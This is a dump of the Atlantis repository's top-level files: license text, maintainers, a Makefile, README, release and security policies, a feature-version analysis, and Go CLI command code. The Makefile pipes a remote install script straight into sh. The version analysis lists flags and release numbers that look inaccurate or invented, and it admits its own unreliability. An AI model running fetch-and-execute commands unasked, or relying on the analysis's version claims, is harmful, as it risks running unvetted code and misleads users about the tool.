Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: MAINTAINERS.md ================================================ The current Maintainers Group for the [Atlantis] Project consists of: | Name | GitHub ID | Employer | Role | | ------------------- | -------------------------------------------------------- | ----------------- | ---------------- | | Dylan Page | [GenPage](https://github.com/GenPage) | Lambda | Maintainer | | PePe Amengual | [jamengual](https://github.com/jamengual) | Slalom | Maintainer | | Rui Chen | [chenrui333](https://github.com/chenrui333) | Meetup | Maintainer | | Bruno Schaatsbergen | [bschaatsbergen](https://github.com/bschaatsbergen) | Xebia | Core Contributor | | Ronak | [nitrocode](https://github.com/nitrocode) | RB Consulting LLC | Core Contributor | ================================================ FILE: Makefile ================================================ BUILD_ID := $(shell git rev-parse --short HEAD 2>/dev/null || echo no-commit-id) WORKSPACE := $(shell pwd) PKG := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing) PKG_COMMAS := $(shell go list ./... | grep -v e2e | grep -v static | grep -v mocks | grep -v testing | tr '\n' ',') IMAGE_NAME := runatlantis/atlantis .DEFAULT_GOAL := help # renovate: datasource=github-releases depName=golangci/golangci-lint GOLANGCI_LINT_VERSION := v1.64.4 .PHONY: help help: ## List targets & descriptions @cat Makefile* | grep -E '^[a-zA-Z\/_-]+:.*?## .*$$' | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}' .PHONY: id id: ## Output BUILD_ID being used @echo $(BUILD_ID) .PHONY: debug debug: ## Output internal make variables @echo BUILD_ID = $(BUILD_ID) @echo IMAGE_NAME = $(IMAGE_NAME) @echo WORKSPACE = $(WORKSPACE) @echo PKG = $(PKG) .PHONY: build-service build-service: ## Build the main Go service CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -v -o atlantis . .PHONY: build build: build-service ## Runs make build-service .PHONY: all all: build-service ## Runs make build-service .PHONY: clean clean: ## Cleans compiled binary @rm -f atlantis .PHONY: go-generate go-generate: ## Run go generate in all packages ./scripts/go-generate.sh .PHONY: regen-mocks regen-mocks: ## Delete and regenerate all mocks find . -type f | grep mocks/mock_ | xargs rm find . -type f | grep mocks/matchers | xargs rm @# not using $(PKG) here because that includes directories that have now @# been made empty, causing go generate to fail. ./scripts/go-generate.sh .PHONY: test test: ## Run tests @go test -short $(PKG) .PHONY: docker/test docker/test: ## Run tests in docker docker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c "cd /atlantis && make test" .PHONY: test-all test-all: ## Run tests including integration @go test -timeout=300s $(PKG) .PHONY: docker/test-all docker/test-all: ## Run all tests in docker docker run -it -v $(PWD):/atlantis ghcr.io/runatlantis/testing-env:latest sh -c "cd /atlantis && make test-all" .PHONY: test-coverage test-coverage: ## Show test coverage @mkdir -p .cover @go test -covermode atomic -coverprofile .cover/cover.out $(PKG) .PHONY: test-coverage-html test-coverage-html: ## Show test coverage and output html @mkdir -p .cover @go test -covermode atomic -coverpkg $(PKG_COMMAS) -coverprofile .cover/cover.out $(PKG) go tool cover -html .cover/cover.out .PHONY: docker/dev docker/dev: ## Build dev Dockerfile as atlantis-dev GOOS=linux GOARCH=amd64 go build -o atlantis . docker build -f Dockerfile.dev -t atlantis-dev . .PHONY: release release: ## Create packages for a release docker run -v $$(pwd):/go/src/github.com/runatlantis/atlantis cimg/go:1.20 sh -c 'cd /go/src/github.com/runatlantis/atlantis && scripts/binary-release.sh' .PHONY: fmt fmt: ## Run goimports (which also formats) goimports -w $$(find . -type f -name '*.go' ! -path "./vendor/*" ! -path "**/mocks/*") .PHONY: lint lint: ## Run linter locally golangci-lint run .PHONY: check-lint check-lint: ## Run linter in CI/CD. If running locally use 'lint' curl -sfL https://raw.githubusercontent.com/golangci/golangci-lint/master/install.sh | sh -s -- -b ./bin $(GOLANGCI_LINT_VERSION) ./bin/golangci-lint run -j 4 --timeout 5m .PHONY: check-fmt check-fmt: ## Fail if not formatted ./scripts/fmt.sh .PHONY: end-to-end-deps end-to-end-deps: ## Install e2e dependencies ./scripts/e2e-deps.sh .PHONY: end-to-end-tests end-to-end-tests: ## Run e2e tests ./scripts/e2e.sh .PHONY: website-dev website-dev: ## Run runatlantic.io on localhost:8080 npm run website:dev ================================================ FILE: README.md ================================================ # Atlantis [![Latest Release](https://img.shields.io/github/release/runatlantis/atlantis.svg)](https://github.com/runatlantis/atlantis/releases/latest) [![SuperDopeBadge](./runatlantis.io/public/hightower-super-dope.svg)](https://twitter.com/kelseyhightower/status/893260922222813184) [![Go Report Card](https://goreportcard.com/badge/github.com/runatlantis/atlantis)](https://goreportcard.com/report/github.com/runatlantis/atlantis) [![Go Reference](https://pkg.go.dev/badge/github.com/runatlantis/atlantis.svg)](https://pkg.go.dev/github.com/runatlantis/atlantis) [![Slack](https://img.shields.io/badge/Join-Atlantis%20Community%20Slack-red)](https://slack.cncf.io/) [![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/runatlantis/atlantis/badge)](https://scorecard.dev/viewer/?uri=github.com/runatlantis/atlantis) [![OpenSSF Best Practices](https://www.bestpractices.dev/projects/9428/badge)](https://www.bestpractices.dev/projects/9428)

Atlantis Logo

Terraform Pull Request Automation

- [Resources](#resources) - [What is Atlantis?](#what-is-atlantis) - [What does it do?](#what-does-it-do) - [Why should you use it?](#why-should-you-use-it) - [Stargazers over time](#stargazers-over-time) ## Resources * How to get started: [www.runatlantis.io/guide](https://www.runatlantis.io/guide) * Full documentation: [www.runatlantis.io/docs](https://www.runatlantis.io/docs) * Download the latest release: [github.com/runatlantis/atlantis/releases/latest](https://github.com/runatlantis/atlantis/releases/latest) * Get help in our [Slack channel](https://slack.cncf.io/) in channel #atlantis and development in #atlantis-contributors * Start Contributing: [CONTRIBUTING.md](CONTRIBUTING.md) ## What is Atlantis? A self-hosted golang application that listens for Terraform pull request events via webhooks. ## What does it do? Runs `terraform plan`, `import`, `apply` remotely and comments back on the pull request with the output. ## Why should you use it? * Make Terraform changes visible to your whole team. * Enable non-operations engineers to collaborate on Terraform. * Standardize your Terraform workflows. ## Stargazers over time [![Stargazers over time](https://starchart.cc/runatlantis/atlantis.svg)](https://starchart.cc/runatlantis/atlantis) ================================================ FILE: RELEASE.md ================================================ # Releases ## Cadence Atlantis follows a **monthly release cadence** to provide regular, predictable updates while maintaining stability for users. ### Release Schedule - **Frequency**: Once per month - **Timing**: First week OR last week of every month (but only once per month) - **Release Day**: Typically Tuesday or Wednesday to allow for weekend buffer ### Versioning Atlantis follows [Semantic Versioning](https://semver.org/) (SemVer): - **Major releases** (x.0.0): Breaking changes - **Minor releases** (0.x.0): New features, backward compatible - **Patch releases** (0.0.x): Bug fixes and security patches ### Release Branches - **Main branch**: Contains the latest development work - **Release branches**: Created for major/minor releases (e.g., `release-0.20`) - **Hotfixes**: Applied to both main and relevant release branches ### Communication - **Release Announcements**: Posted on GitHub Releases and community channels - **Breaking Changes**: Clearly documented in release notes and migration guides - **Security Updates**: Immediately communicated through security advisories ### Release Criteria A release is ready when: 1. ✅ All tests pass 2. ✅ Documentation is updated 3. ✅ Release notes are current 4. ✅ No known critical bugs 5. ✅ Security scan passes 6. ✅ Performance benchmarks are acceptable ### Emergency Releases In case of critical security vulnerabilities or severe bugs: 1. **Immediate Assessment**: Evaluate severity and impact 2. **Hotfix Development**: Create targeted fix 3. **Expedited Testing**: Focused testing on the fix 4. **Emergency Release**: Release outside normal cadence if necessary ### Contributing to Releases - **Feature Requests**: Submit early in the month for consideration - **Bug Reports**: Report immediately for faster resolution - **Testing**: Help test release candidates - **Documentation**: Contribute to release notes and migration guides For detailed information about contributing to Atlantis, see [CONTRIBUTING.md](./CONTRIBUTING.md). ## Release Process ### Creating a New Release 1. (Major/Minor release only) Create a new release branch `release-x.y` 1. Go to https://github.com/runatlantis/atlantis/releases and click "Draft a new release" 1. Prefix version with `v` and increment based on last release. 1. The title of the release is the same as the tag (ex. v0.2.2) 1. Fill in description by clicking on the "Generate Release Notes" button. 1. You may have to manually move around some commit titles as they are determined by PR labels (see .github/labeler.yml & .github/release.yml) 1. (Latest Major/Minor branches only) Make sure the release is set as latest 1. Don't set "latest release" for patches on older release branches. 1. Check and update the default version in `Chart.yaml` in [the official Helm chart](https://github.com/runatlantis/helm-charts/blob/main/charts/atlantis/values.yaml) as needed. ### Backporting Fixes Atlantis now uses a [cherry-pick-bot](https://github.com/googleapis/repo-automation-bots/tree/main/packages/cherry-pick-bot) from Google. The bot assists in maintaining changes across releases branches by easily cherry-picking changes via pull requests. Maintainers and Core Contributors can add a comment to a pull request: ```sh /cherry-pick target-branch-name ``` target-branch-name is the branch to cherry-pick to. cherry-pick-bot will cherry-pick the merged commit to a new branch (created from the target branch) and open a new pull request to the target branch. The bot will immediately try to cherry-pick a merged PR. On unmerged pull request, it will not do anything immediately, but wait until merge. You can comment multiple times on a PR for multiple release branches. #### Manual Backporting Fixes The bot will fail to cherry-pick if the feature branches' git history is not linear (merge commits instead of rebase). In that case, you will need to manually cherry-pick the squashed merged commit from main to the release branch 1. Switch to the release branch intended for the fix. 1. Run `git cherry-pick ` with the commit hash from the main branch. 1. Push the newly cherry-picked commit up to the remote release branch. ### Release History For detailed information about past releases, see: - [GitHub Releases](https://github.com/runatlantis/atlantis/releases) --- _This document is maintained by the Atlantis maintainers. For questions about the release process, please open an issue or contact the maintainers._ ``` ================================================ FILE: SECURITY.md ================================================ # Security Policy ## Reporting a Vulnerability We take security issues seriously. Please report a security vulnerability to the maintainers using [private vulnerability reporting](https://github.com/runatlantis/atlantis/security/advisories/new). ## Maintained releases Only the two latest minor releases are maintained. For example, if `0.29.7` is the latest, then `0.29.x` and `0.28.x` will receive security fixes. ================================================ FILE: _typos.toml ================================================ [default.extend-words] # HashiCorp is a proper company name; the "Hashi" prefix is intentional hashi = "hashi" # "ue" is used as a workspace-name prefix in documentation examples (short for us-east) ue = "ue" # ACI = Azure Container Instances aci = "aci" ================================================ FILE: atlantis-features-version-analysis.md ================================================ # Atlantis Features Version Analysis This document provides a comprehensive analysis of Atlantis features and the versions when they were introduced, based on the changelog, merged PRs, and documentation. ## Server Configuration Features ### Core Features (v0.1.0+) These features have been available since the initial release or very early versions: - `--port` - Port to bind to (default: 4141) - `--log-level` - Log level (debug|info|warn|error) - `--gh-user` - GitHub username of API user - `--gh-token` - GitHub token of API user - `--gh-webhook-secret` - Secret used to validate GitHub webhooks - `--repo-allowlist` - Allowlist of repositories (deprecated `--repo-whitelist` in v0.13.0) - `--data-dir` - Directory where Atlantis stores its data - `--atlantis-url` - URL that Atlantis is accessible from - `--web-username` - Username for Basic Authentication - `--web-password` - Password for Basic Authentication - `--web-basic-auth` - Enable Basic Authentication on web service ### v0.13.0 - `--allow-draft-prs` - Respond to pull requests from draft PRs ### v0.15.0 - `--skip-clone-no-changes` - Skip cloning repo during autoplan if no changes to Terraform projects - `--disable-autoplan` - Globally disable autoplanning ### v0.16.0 - `--parallel-pool-size` - Max size of wait group for parallel plans/applies - `--disable-apply-all` - Disable `atlantis apply` command (requires specific project/workspace/directory) ### v0.16.1 - `--gh-app-slug` - GitHub App slug for identifying comments - `--disable-repo-locking` - Stop Atlantis from locking projects/workspaces ### v0.17.0 - `--enable-policy-checks` - Enable server-side policy checks with conftest - `--autoplan-file-list` - Modify global list of files that trigger project planning - `--silence-no-projects` - Silence Atlantis from responding to PRs when no projects - `--enable-regexp-cmd` - Enable regex commands for project targeting - `--disable-global-apply-lock` - Remove global apply lock button from UI - `--automerge` - Automatically merge pull requests after successful applies ### v0.18.0+ - `--default-tf-version` - Default Terraform version (introduced in v0.13.0, refined in later versions) - `--tf-download` - Allow Atlantis to download Terraform versions - `--tf-download-url` - Alternative URL for Terraform downloads ### v0.19.0 - `--hide-prev-plan-comments` - Hide previous plan comments to declutter PRs ### v0.19.5 - `--var-file-allowlist` - Restrict access to variable definition files ### v0.20.0+ - `--gh-app-id` - GitHub App ID for installation-based authentication - `--gh-app-key` - GitHub App private key - `--gh-app-key-file` - Path to GitHub App private key file - `--gh-app-installation-id` - Specific GitHub App installation ID ### v0.21.0 - `--markdown-template-overrides-dir` - Directory for markdown template overrides ### v0.22.0+ - `--parallel-plan` - Run plan operations in parallel - `--parallel-apply` - Run apply operations in parallel - `--abort-on-execution-order-fail` - Abort execution on failures ### v0.23.0+ - `--enable-plan-queue` - Enable plan queue feature for queuing plan requests - `--enable-lock-retry` - Enable automatic retry of lock acquisition - `--lock-retry-delay` - Delay between lock retry attempts - `--lock-retry-max-attempts` - Maximum lock retry attempts ### v0.24.0+ - `--default-tf-distribution` - Default Terraform distribution (terraform/opentofu) - `--terraform-cloud` - Terraform Cloud integration features ### v0.25.0+ - `--enable-profiling-api` - Enable pprof endpoints for profiling - `--enable-diff-markdown-format` - Format Terraform plan output for markdown-diff ### v0.26.0+ - `--autoplan-modules` - Enable autoplanning when modules change - `--autoplan-modules-from-projects` - Configure which projects to index for module changes ### v0.27.0+ - `--autodiscover-mode` - Configure autodiscovery mode (auto|enabled|disabled) - `--include-git-untracked-files` - Include untracked files in modified file list ### v0.28.0+ - `--restrict-file-list` - Block plan requests from projects outside modified files - `--silence-allowlist-errors` - Silence allowlist error comments - `--silence-fork-pr-errors` - Silence fork PR error comments - `--silence-vcs-status-no-plans` - Silence VCS status when no plans - `--silence-vcs-status-no-projects` - Silence VCS status when no projects ### v0.29.0+ - `--discard-approval-on-plan` - Discard approval if new plan executed - `--emoji-reaction` - Emoji reaction for marking processed comments - `--hide-unchanged-plan-comments` - Remove no-changes plan comments ### v0.30.0+ - `--gh-allow-mergeable-bypass-apply` - Allow mergeable mode with required apply status check - `--ignore-vcs-status-names` - Ignore VCS status names from other Atlantis services ### v0.31.0+ - `--fail-on-pre-workflow-hook-error` - Fail if pre-workflow hooks error - `--disable-markdown-folding` - Disable markdown folding in comments ### v0.32.0+ - `--max-comments-per-command` - Limit comments published per command - `--quiet-policy-checks` - Exclude policy check comments unless errors ### v0.33.0+ - `--disable-unlock-label` - Stop unlocking PRs with specific label - `--disable-autoplan-label` - Disable autoplanning on PRs with specific label ### v0.34.0+ - `--allow-commands` - List of allowed commands to run - `--allow-fork-prs` - Respond to pull requests from forks ### v0.35.0+ - `--azuredevops-hostname` - Azure DevOps hostname support - `--azuredevops-token` - Azure DevOps token - `--azuredevops-user` - Azure DevOps username - `--azuredevops-webhook-password` - Azure DevOps webhook password - `--azuredevops-webhook-user` - Azure DevOps webhook username ### v0.36.0+ - `--bitbucket-base-url` - Bitbucket Server base URL - `--bitbucket-token` - Bitbucket app password - `--bitbucket-user` - Bitbucket username - `--bitbucket-webhook-secret` - Bitbucket webhook secret ### v0.37.0+ - `--checkout-depth` - Number of commits to fetch from branch - `--checkout-strategy` - How to check out pull requests (branch|merge) ### v0.38.0+ - `--config` - YAML config file for flags - `--repo-config` - Path to server-side repo config file - `--repo-config-json` - Server-side repo config as JSON string ### v0.39.0+ - `--gitea-base-url` - Gitea base URL - `--gitea-token` - Gitea app password - `--gitea-user` - Gitea username - `--gitea-webhook-secret` - Gitea webhook secret - `--gitea-page-size` - Number of items per page in Gitea responses ### v0.40.0+ - `--gitlab-hostname` - GitLab Enterprise hostname - `--gitlab-token` - GitLab token - `--gitlab-user` - GitLab username - `--gitlab-webhook-secret` - GitLab webhook secret - `--gitlab-group-allowlist` - GitLab groups and permission pairs ### v0.41.0+ - `--gh-team-allowlist` - GitHub teams and permission pairs - `--gh-token-file` - GitHub token loaded from file ### v0.42.0+ - `--executable-name` - Comment command trigger executable name - `--vcs-status-name` - Name for identifying Atlantis in PR status ### v0.43.0+ - `--stats-namespace` - Namespace for emitting stats/metrics - `--slack-token` - API token for Slack notifications ### v0.44.0+ - `--ssl-cert-file` - SSL certificate file for HTTPS - `--ssl-key-file` - SSL private key file for HTTPS ### v0.45.0+ - `--tfe-hostname` - Terraform Enterprise hostname - `--tfe-token` - Terraform Cloud/Enterprise token - `--tfe-local-execution-mode` - Enable local execution mode ### v0.46.0+ - `--use-tf-plugin-cache` - Enable/disable Terraform plugin cache - `--webhook-http-headers` - Additional headers for HTTP webhooks ### v0.47.0+ - `--websocket-check-origin` - Only allow websockets from Atlantis web server - `--write-git-creds` - Write .git-credentials file for private modules ### v0.48.0+ - `--locking-db-type` - Locking database type (boltdb|redis) - `--redis-host` - Redis hostname - `--redis-port` - Redis port - `--redis-password` - Redis password - `--redis-db` - Redis database number - `--redis-tls-enabled` - Enable TLS connection to Redis - `--redis-insecure-skip-verify` - Skip Redis certificate verification ## Repo-Level atlantis.yaml Features ### Core Features (v0.1.0+) - `version` - Configuration version (required) - `projects` - List of projects in the repo - `workflows` - Custom workflows (restricted) ### v0.15.0+ - `automerge` - Automatically merge PR when all plans applied - `delete_source_branch_on_merge` - Delete source branch on merge ### v0.17.0+ - `parallel_plan` - Run plans in parallel - `parallel_apply` - Run applies in parallel - `abort_on_execution_order_fail` - Abort on execution order failures ### v0.18.0+ - `autodiscover` - Configure autodiscovery mode and ignore paths ### v0.19.0+ - `allowed_regexp_prefixes` - Allowed regex prefixes for regex commands ## Project-Level Features ### Core Features (v0.1.0+) - `name` - Project name - `dir` - Project directory - `workspace` - Terraform workspace - `terraform_version` - Specific Terraform version ### v0.17.0+ - `execution_order_group` - Execution order group index - `delete_source_branch_on_merge` - Delete source branch on merge - `repo_locking` - Repository locking (deprecated) - `repo_locks` - Repository locks configuration - `custom_policy_check` - Enable custom policy check tools - `autoplan` - Custom autoplan configuration - `plan_requirements` - Requirements for plan command (restricted) - `apply_requirements` - Requirements for apply command (restricted) - `import_requirements` - Requirements for import command (restricted) - `silence_pr_comments` - Silence PR comments for specific stages - `workflow` - Custom workflow (restricted) ### v0.20.0+ - `branch` - Regex matching projects by base branch - `depends_on` - Project dependencies ### v0.33.0+ - `terraform_distribution` - Terraform distribution (terraform/opentofu) ## Autoplan Configuration ### Core Features (v0.1.0+) - `enabled` - Whether autoplanning is enabled - `when_modified` - File patterns that trigger autoplanning ## RepoLocks Configuration ### v0.17.0+ - `mode` - Repository lock mode (disabled|on_plan|on_apply) ## Notes 1. **Version Accuracy**: This analysis is based on the changelog, documentation, and code analysis. Some features may have been introduced in different versions than documented due to the changelog not being updated consistently. 2. **Restricted Features**: Some features are marked as "restricted" and require server-side configuration to enable. 3. **Deprecated Features**: Some features have been deprecated in favor of newer alternatives (e.g., `--repo-whitelist` → `--repo-allowlist`). 4. **Missing Versions**: For some features, the exact introduction version could not be determined from the available documentation and changelog. These are marked with approximate version ranges. 5. **Recent Features**: Features introduced after v0.23.0 may not be fully documented in the changelog as noted in the changelog header. ## Recommendations 1. **Update Documentation**: The documentation should be updated to include version information for each feature. 2. **Enhance Changelog**: The changelog should be maintained more consistently to track feature introductions. 3. **Version Tags**: Consider adding version tags to documentation sections to indicate when features were introduced. 4. **Migration Guides**: Provide migration guides for deprecated features and breaking changes. ================================================ FILE: cmd/bootstrap.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package cmd import ( "fmt" "os" "github.com/runatlantis/atlantis/testdrive" "github.com/spf13/cobra" ) // TestdriveCmd starts the testdrive process for testing out Atlantis. type TestdriveCmd struct{} // Init returns the runnable cobra command. func (b *TestdriveCmd) Init() *cobra.Command { return &cobra.Command{ Use: "testdrive", Short: "Start a guided tour of Atlantis", RunE: func(cmd *cobra.Command, args []string) error { err := testdrive.Start() if err != nil { fmt.Fprintf(os.Stderr, "\033[31mError: %s\033[39m\n\n", err.Error()) } return err }, SilenceErrors: true, } } ================================================ FILE: cmd/cmd.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. // Package cmd provides all CLI commands. // NOTE: These are different from the commands that get run via pull request // comments. package cmd ================================================ FILE: cmd/help_fmt.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package cmd import ( "bytes" "fmt" "sort" "strings" "text/template" ) // usageTmpl returns a cobra-compatible usage template that will be printed // during the help output. // This template prints help like: // // --name= // // // We use it over the default template so that the output it easier to read. func usageTmpl(stringFlags map[string]stringFlag, intFlags map[string]intFlag, boolFlags map[string]boolFlag) string { var flagNames []string for name, f := range stringFlags { if f.hidden { continue } flagNames = append(flagNames, name) } for name, f := range boolFlags { if f.hidden { continue } flagNames = append(flagNames, name) } for name, f := range intFlags { if f.hidden { continue } flagNames = append(flagNames, name) } sort.Strings(flagNames) type flag struct { Name string Description string IsBoolFlag bool } var flags []flag for _, name := range flagNames { var descrip string var isBool bool if f, ok := stringFlags[name]; ok { descripWithDefault := f.description if f.defaultValue != "" { descripWithDefault += fmt.Sprintf(" (default %q)", f.defaultValue) } descrip = to80CharCols(descripWithDefault) isBool = false } else if f, ok := boolFlags[name]; ok { descrip = to80CharCols(f.description) isBool = true } else if f, ok := intFlags[name]; ok { descripWithDefault := f.description if f.defaultValue != 0 { descripWithDefault += fmt.Sprintf(" (default %d)", f.defaultValue) } descrip = to80CharCols(descripWithDefault) isBool = false } else { panic("this is a bug") } flags = append(flags, flag{ Name: name, Description: descrip, IsBoolFlag: isBool, }) } tmpl := template.Must(template.New("").Parse( " --{{.Name}}{{if not .IsBoolFlag}}={{end}}\n{{.Description}}\n")) var flagHelpOutput strings.Builder for _, f := range flags { buf := &bytes.Buffer{} if err := tmpl.Execute(buf, f); err != nil { panic(err) } flagHelpOutput.WriteString(buf.String()) } // Most of this template is taken from cobra.Command.UsageTemplate() // but we're subbing out the "Flags:" section with our custom output. return fmt.Sprintf(`Usage:{{if .Runnable}} {{.UseLine}}{{end}}{{if .HasAvailableSubCommands}} {{.CommandPath}} [command]{{end}}{{if gt (len .Aliases) 0}} Aliases: {{.NameAndAliases}}{{end}}{{if .HasExample}} Examples: {{.Example}}{{end}}{{if .HasAvailableSubCommands}} Available Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name "help"))}} {{rpad .Name .NamePadding }} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableLocalFlags}} Flags: %s{{end}}{{if .HasAvailableInheritedFlags}} Global Flags: {{.InheritedFlags.FlagUsages | trimTrailingWhitespaces}}{{end}}{{if .HasHelpSubCommands}} Additional help topics:{{range .Commands}}{{if .IsAdditionalHelpTopicCommand}} {{rpad .CommandPath .CommandPathPadding}} {{.Short}}{{end}}{{end}}{{end}}{{if .HasAvailableSubCommands}} Use "{{.CommandPath}} [command] --help" for more information about a command.{{end}} `, flagHelpOutput.String()) } // to80CharCols takes a string s as input and returns a new string that is split // into multiple lines with each line having a maximum of 80 characters func to80CharCols(s string) string { var splitAt80 strings.Builder splitSpaces := strings.Split(s, " ") var nextLine string for i, spaceSplit := range splitSpaces { if len(nextLine)+len(spaceSplit)+1 > 80 { splitAt80.WriteString(fmt.Sprintf(" %s\n", strings.TrimSuffix(nextLine, " "))) nextLine = "" } if i == len(splitSpaces)-1 { nextLine += spaceSplit + " " splitAt80.WriteString(fmt.Sprintf(" %s\n", strings.TrimSuffix(nextLine, " "))) break } nextLine += spaceSplit + " " } return splitAt80.String() } ================================================ FILE: cmd/root.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package cmd import ( "os" "github.com/spf13/cobra" ) // RootCmd is the base command onto which all other commands are added. var RootCmd = &cobra.Command{ Use: "atlantis", Short: "Terraform Pull Request Automation", } // Execute starts RootCmd. func Execute() { if err := RootCmd.Execute(); err != nil { os.Exit(1) } } ================================================ FILE: cmd/server.go ================================================ // Copyright 2017 HootSuite Media Inc. // // Licensed under the Apache License, Version 2.0 (the License); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an AS IS BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // Modified hereafter by contributors to runatlantis/atlantis. package cmd import ( "fmt" "net/url" "os" "path/filepath" "slices" "strings" homedir "github.com/mitchellh/go-homedir" "github.com/moby/patternmatcher" "github.com/spf13/cobra" "github.com/spf13/viper" "github.com/runatlantis/atlantis/server" "github.com/runatlantis/atlantis/server/events/vcs/bitbucketcloud" "github.com/runatlantis/atlantis/server/logging" ) // checkout strategies const ( CheckoutStrategyBranch = "branch" CheckoutStrategyMerge = "merge" ) // TF distributions const ( TFDistributionTerraform = "terraform" TFDistributionOpenTofu = "opentofu" ) // To add a new flag you must: // 1. Add a const with the flag name (in alphabetic order). // 2. Add a new field to server.UserConfig and set the mapstructure tag equal to the flag name. // 3. Add your flag's description etc. to the stringFlags, intFlags, or boolFlags slices. const ( // Flag names. ADWebhookPasswordFlag = "azuredevops-webhook-password" // nolint: gosec ADWebhookUserFlag = "azuredevops-webhook-user" ADTokenFlag = "azuredevops-token" // nolint: gosec ADUserFlag = "azuredevops-user" ADHostnameFlag = "azuredevops-hostname" AllowCommandsFlag = "allow-commands" AllowForkPRsFlag = "allow-fork-prs" AtlantisURLFlag = "atlantis-url" AutoDiscoverModeFlag = "autodiscover-mode" AutomergeFlag = "automerge" ParallelPlanFlag = "parallel-plan" ParallelApplyFlag = "parallel-apply" AutoplanModules = "autoplan-modules" AutoplanModulesFromProjects = "autoplan-modules-from-projects" AutoplanFileListFlag = "autoplan-file-list" BitbucketApiUserFlag = "bitbucket-api-user" BitbucketBaseURLFlag = "bitbucket-base-url" BitbucketTokenFlag = "bitbucket-token" BitbucketUserFlag = "bitbucket-user" BitbucketWebhookSecretFlag = "bitbucket-webhook-secret" CheckoutDepthFlag = "checkout-depth" CheckoutStrategyFlag = "checkout-strategy" ConfigFlag = "config" DataDirFlag = "data-dir" DefaultTFDistributionFlag = "default-tf-distribution" DefaultTFVersionFlag = "default-tf-version" DisableApplyAllFlag = "disable-apply-all" DisableAutoplanFlag = "disable-autoplan" DisableAutoplanLabelFlag = "disable-autoplan-label" DisableMarkdownFoldingFlag = "disable-markdown-folding" DisableRepoLockingFlag = "disable-repo-locking" DisableGlobalApplyLockFlag = "disable-global-apply-lock" DisableUnlockLabelFlag = "disable-unlock-label" DiscardApprovalOnPlanFlag = "discard-approval-on-plan" EmojiReaction = "emoji-reaction" EnableDiffMarkdownFormat = "enable-diff-markdown-format" EnablePolicyChecksFlag = "enable-policy-checks" EnableRegExpCmdFlag = "enable-regexp-cmd" EnableProfilingAPI = "enable-profiling-api" ExecutableName = "executable-name" FailOnPreWorkflowHookError = "fail-on-pre-workflow-hook-error" HideUnchangedPlanComments = "hide-unchanged-plan-comments" GHHostnameFlag = "gh-hostname" GHTeamAllowlistFlag = "gh-team-allowlist" GHTokenFlag = "gh-token" GHTokenFileFlag = "gh-token-file" // nolint: gosec GHUserFlag = "gh-user" GHAppIDFlag = "gh-app-id" GHAppKeyFlag = "gh-app-key" GHAppKeyFileFlag = "gh-app-key-file" GHAppSlugFlag = "gh-app-slug" GHAppInstallationIDFlag = "gh-app-installation-id" GHOrganizationFlag = "gh-org" GHWebhookSecretFlag = "gh-webhook-secret" // nolint: gosec GHAllowMergeableBypassApply = "gh-allow-mergeable-bypass-apply" // nolint: gosec GiteaBaseURLFlag = "gitea-base-url" GiteaTokenFlag = "gitea-token" GiteaUserFlag = "gitea-user" GiteaWebhookSecretFlag = "gitea-webhook-secret" // nolint: gosec GiteaPageSizeFlag = "gitea-page-size" GitlabGroupAllowlistFlag = "gitlab-group-allowlist" GitlabHostnameFlag = "gitlab-hostname" GitlabTokenFlag = "gitlab-token" GitlabUserFlag = "gitlab-user" GitlabWebhookSecretFlag = "gitlab-webhook-secret" // nolint: 